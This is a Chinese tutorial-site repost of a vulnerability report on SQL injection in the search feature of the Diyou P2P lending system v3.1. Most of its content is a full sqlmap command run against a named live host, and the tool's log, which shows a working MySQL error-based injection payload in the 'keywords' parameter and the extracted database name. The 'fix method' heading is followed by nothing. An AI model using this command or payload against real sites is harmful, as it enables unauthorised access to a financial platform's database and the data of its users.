来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 帝友P2P借贷系统搜索型SQL注入标题上面说是v3 1版本,具体是什么版本,亲~您懂的。http: v31 diyou cc transfer_success index html?keywords=1borrow_type=account_status=borrow_interestrate=spread_mon...
帝友P2P借贷系统搜索型SQL注入 标题上面说是v3.1版本,具体是什么版本,亲~您懂的。
C:\Python27\sqlmap>sqlmap.py -u "http://v31.diyou.cc/transfer_success/index.html ?keywords=1&borrow_type=&account_status=&borrow_interestrate=&spread_month=" --b atch -p "keywords" -v 2 --current-db sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 12:03:53 [12:03:53] [DEBUG] cleaning up configuration parameters [12:03:53] [DEBUG] setting the HTTP timeout [12:03:53] [DEBUG] setting the HTTP method to GET [12:03:53] [DEBUG] creating HTTP requests opener object [12:03:53] [INFO] using 'C:\Python27\sqlmap\output\v31.diyou.cc\session' as sess ion file [12:03:53] [INFO] resuming injection data from session file [12:03:53] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [12:03:53] [INFO] testing connection to the target url [12:03:54] [WARNING] the testable parameter 'keywords' you provided is not into the Cookie sqlmap identified the following injection points with a total of 0 HTTP(s) reque sts: --- Place: GET Parameter: keywords Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: keywords=1' AND (SELECT 7351 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99 ,104,116,58),(SELECT (CASE WHEN (7351=7351) THEN 1 ELSE 0 END)),CHAR(58,120,112, 99,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'iLHc '='iLHc&borrow_type=&account_status=&borrow_interestrate=&spread_month= --- [12:03:54] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian or Ubuntu 6.0 (unstable sid or testing squeeze) web application technology: PHP 5.3.3, Apache 2.2.16 back-end DBMS: MySQL 5.0 [12:03:54] [INFO] fetching current database [12:03:54] [INFO] retrieved: 131209_v31diyou [12:03:54] [DEBUG] performed 1 queries in 0 seconds current database: '131209_v31diyou' [12:03:54] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\ou tput\v31.diyou.cc' [*] shutting down at: 12:03:54
1%27带入查询,数据库报错。
漏洞修复方法:
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com